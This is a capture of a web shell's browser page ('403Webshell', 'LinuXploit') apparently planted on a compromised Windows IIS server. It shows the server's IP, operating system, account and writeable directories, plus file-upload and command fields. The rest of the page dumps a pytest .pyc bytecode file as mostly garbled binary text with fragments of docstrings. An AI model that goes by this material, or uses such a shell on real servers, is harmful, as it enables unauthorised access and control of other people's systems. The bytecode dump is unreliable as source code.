403Webshell
Server IP : 209.209.40.120  /  Your IP : 216.73.217.112
Web Server : Microsoft-IIS/10.0
System : Windows NT NEWWWW 10.0 build 17763 (Windows Server 2019) i586
User : NEWWWW$ ( 0)
PHP Version : 8.3.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /Python312/Lib/site-packages/_pytest/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /Python312/Lib/site-packages/_pytest/__pycache__/helpconfig.cpython-312.pyc
�

��Hg�"���dZddlmZddlmZddlZddlZddlmZddl	m
Z
ddl	mZddl	mZdd	l
mZdd
lmZddlZGd�de�Zdd
�Zej(d��dd��Zdd�Zdd�Zdd�ZdgZdd�Zdd�Zy)z3Version info, help messages, tracing configuration.�)�annotations)�ActionN)�	Generator)�Config)�ExitCode)�	PrintHelp)�Parser)�TerminalReporterc�,��eZdZdZd�fd�	Zdd�Z�xZS)�
HelpActiona}An argparse Action that will raise an exception in order to skip the
    rest of the argument parsing when --help is passed.

    This prevents argparse from quitting due to missing required arguments
    when any are defined, for example by ``pytest_addoption``.
    This is similar to the way that the builtin argparse --help option is
    implemented by raising SystemExit.
    c�0��t�|�||d|d|��y)NTr)�option_strings�dest�const�default�nargs�help)�super�__init__)�selfrrrr�	__class__s     ��4C:\Python312\Lib\site-packages\_pytest/helpconfig.pyrzHelpAction.__init__s'���
���)������
	�	
�c��t||j|j�t|jdd�rt
�y)N�after_preparseF)�setattrrr�getattr�_parserr)r�parser�	namespace�values�
option_strings     r�__call__zHelpAction.__call__'s3���	�4�9�9�d�j�j�1��6�>�>�#3�U�;��O�<r)NFN)N)�__name__�
__module__�__qualname__�__doc__rr#�
__classcell__)rs@rrrs����
�rrc	�>�|jd�}|jdddddd��|jd	d
tdd�
�|jdddgdd��|jddddd��|jddddddd �!�|jd"d#d$dd%�&�y)'N�debugconfigz	--versionz-V�countr�versionzoDisplay pytest version and information about plugins. When given twice, also display information about plugins.)�actionrrrz-hz--helprz(Show help message and configuration info)r-rrz-p�append�plugins�namez�Early-load given plugin module name or entry point (multi-allowed). To avoid loading of plugins, use the `no:` prefix, e.g. `no:doctest`.)r-rr�metavarrz
--traceconfigz--trace-config�
store_trueFz)Trace considerations of conftest.py files)r-rrz--debug�store�?zpytestdebug.log�debug�DEBUG_FILE_NAMEz�Store internal tracing debug information in this log file. This file is opened with 'w' and truncated as a result, care advised. Default: pytestdebug.log.)r-rrrr1rz-oz--override-ini�override_iniz^Override ini option with "option=value" style, e.g. `-o xfail_strict=True -o cache_dir=cache`.)rr-r)�getgroup�	addoption�
_addoptionr)r�groups  r�pytest_addoptionr</s����O�O�M�*�E�	�O�O�����
�D�
��
������
�
7���
�����
����
�	�
�O�O�����
8���
�O�O�����
�!�$��
�
�����
��:��rT)�wrapperc#�����K�d����jj�r@�jj}t|dd����jdj	t
jdjtttj���jjtj��jj ���j"j$j'�j��j(j+��tj,jd|�d��d	���fd�}�j/|��S�w)
N�wzutf-8)�encodingz@versions pytest-{}, python-{}
invocation_dir={}
cwd={}
args={}

�.z$writing pytest debug information to �
c�����j�tjjd�j�d���j
jjd���y)Nz"wrote pytest debug information to rB)�close�sys�stderr�writer0�trace�root�	setwriter)�config�	debugfile�undo_tracings���r�
unset_tracingz+pytest_cmdline_parse.<locals>.unset_tracing}sL����O�O���J�J���A�)�.�.�AQ�QS�T�U��L�L���'�'��-��Nr)�return�None)�optionr5�openrG�format�pytest�__version__�join�map�strrE�version_info�invocation_params�dir�os�getcwd�argsrHrIrJ�
pluginmanager�enable_tracingrF�add_cleanup)�pathrNrKrLrMs  @@@r�pytest_cmdline_parsercgs�����
�F�
�}�}����}�}�"�"����s�W�5�	����
@�@F���"�"�����S�#�"2�"2�3�4��(�(�,�,��	�	���(�(�-�-�A�		
�	�����#�#�I�O�O�4��+�+�:�:�<���
�
���?��v�R�H�I�	�	���=�)��M�s�EE#c��|jjdkDrztjj	dt
j�dt
j�d��t|�}|r*|D]$}tjj	|dz��&yytjj	dt
j�d��y)N�zThis is pytest version z, imported from rBzpytest )	rQr,rE�stdoutrGrTrU�__file__�getpluginversioninfo)rK�
plugininfo�lines   r�showversionrk�s���
�}�}���q� ��
�
���%�f�&8�&8�%9�9I�&�/�/�IZ�Z\�]�	
�*�&�1�
��"�
.���
�
� � ����-�
.��	�
�
���7�6�#5�#5�"6�b�9�:rc���|jjdkDrt|�y|jjr,|j	�t|�|j
�yy)Nr)rQr,rkr�
_do_configure�showhelp�_ensure_unconfigure)rKs r�pytest_cmdline_mainrp�sR��
�}�}���q� ��F���	���	�	���������"�"�$��rc�J�ddl}|jjd�}|�J�|j}|j	|j
jj��|j�|jd�|j�|j}d}d|z}|j
jD�]}|j
j|\}}	}
|	�d}	|�td|����|�d|	�d	�}|j	d
|���t|�}||dz
kDr?|j�|j||||d�
�}
|
D]}|j|����|j	d||z
dz
z�|j|||z
d��}|s��|j|d�|ddD]}|j||z����|j�|jd�gd�}|D]\}}|jd
|d�d|����|j�|j�|jd�|jd�|jd�|jj!dg�D]"}|jd|j"zd���$y)Nr�terminalreporterzY[pytest] ini-options in the first pytest.ini|tox.ini|setup.cfg|pyproject.toml file found:�� �stringz!help argument cannot be None for z (z):�  �F)�initial_indent�subsequent_indent�break_on_hyphens�)rzrezEnvironment variables:))�CIzmWhen set (regardless of value), pytest knows it is running in a CI process and does not truncate summary info)�BUILD_NUMBERzEquivalent to CI)�PYTEST_ADDOPTSzExtra command line options)�PYTEST_PLUGINSz.Comma-separated plugins to load during startup)�PYTEST_DISABLE_PLUGIN_AUTOLOADz"Set to disable plugin auto-loading)�PYTEST_DEBUGz1Set to enable debug tracing of pytest's internalsz<24z/to see available markers type: pytest --markersz1to see available fixtures type: pytest --fixturesz�(shown according to specified file_or_dir or current dir if not specified; fixtures with leading '_' are only shown with the '-v' option�warningsz
warning : T)�red)�textwrapr_�
get_plugin�_twrGr�	optparser�format_helprj�	fullwidth�	_ininames�_inidict�	TypeError�len�wrap�stats�get�message)rKr��reporter�tw�columns�
indent_len�indentr0r�typer�spec�spec_len�	helplinesrj�wrapped�vars�
warningreports                  rrnrn�s����(.�(<�(<�(G�(G��)�H�����	���B��H�H�V�^�^�
%�
%�
1�
1�
3�4��G�G�I��G�G�	B���G�G�I��l�l�G��J�
�:�
�F����(�(�+��$�n�n�5�5�d�;���d�G��<��D��<��?��v�F�G�G���r�$��r�"��
���2�d�V����t�9���z�A�~�&��G�G�I� �
�
���%�"(�!&�&��I�"�
������
�
�
�H�H�S�J��1�A�5�6�7��m�m�D�'�J�*>�QV�m�W�G�������
�#�#�A�B�K�+�D��G�G�F�T�M�*�+�;+�@�G�G�I��G�G�$�%��D��(�
��d�
���"�T�#�J�a��v�&�'�(��G�G�I��G�G�I��G�G�=�>��G�G�?�@��G�G�	��"���+�+�J��;�@�
�
����}�4�4�4�$��?�@r)�pytest_pluginszlist of plugin names to loadc��g}|jj�}|rc|jd�|D]M\}}t|dt	|��}|j
�d|j�d|��}|jd|z��O|S)Nzregistered third-party plugins:rg�-z at rv)r_�list_plugin_distinfor.r�repr�project_namer,)rK�linesri�plugin�dist�loc�contents       rrhrh�s����E��%�%�:�:�<�J��
���6�7�&�	)�L�F�D��&�*�d�6�l�;�C��*�*�+�1�T�\�\�N�$�s�e�D�G��L�L����(�	)��Lrc���g}|jjs|jjr@|jdtj
���t
|�}|r|j|�|jjrq|jd�|jj�}|D]A\}}t|d�r
|j}nt|�}|jd|d�d|����C|S)Nzusing: pytest-zactive plugins:rgz    z<20z: )
rQr5�traceconfigr.rTrUrh�extendr_�list_name_plugin�hasattrrgr�)rKr��verinfo�itemsr0r��rs       r�pytest_report_headerr�s����E�
�}�}���f�m�m�7�7�
���~�f�&8�&8�%9�:�;�&�v�.����L�L��!�
�}�}� � �
���&�'��$�$�5�5�7��!�	1�L�D�&��v�z�*��O�O����L���L�L�4��S�z��A�3�/�0�	1��Lr)rr	rOrP)rOzGenerator[None, Config, Config])rKrrOrP)rKrrOzint | ExitCode | None)rKrrOz	list[str])r'�
__future__r�argparserr\rE�typingr�_pytest.configrrr�_pytest.config.argparsingr	�_pytest.terminalr
rTrr<�hookimplrcrkrprn�conftest_optionsrhr��rr�<module>r�s���9�"��	�
��!�#�$�,�-�
����85�p���������@
;�	�O@�dG�G��	�r

Youez - 2016 - github.com/yon3zu
LinuXploit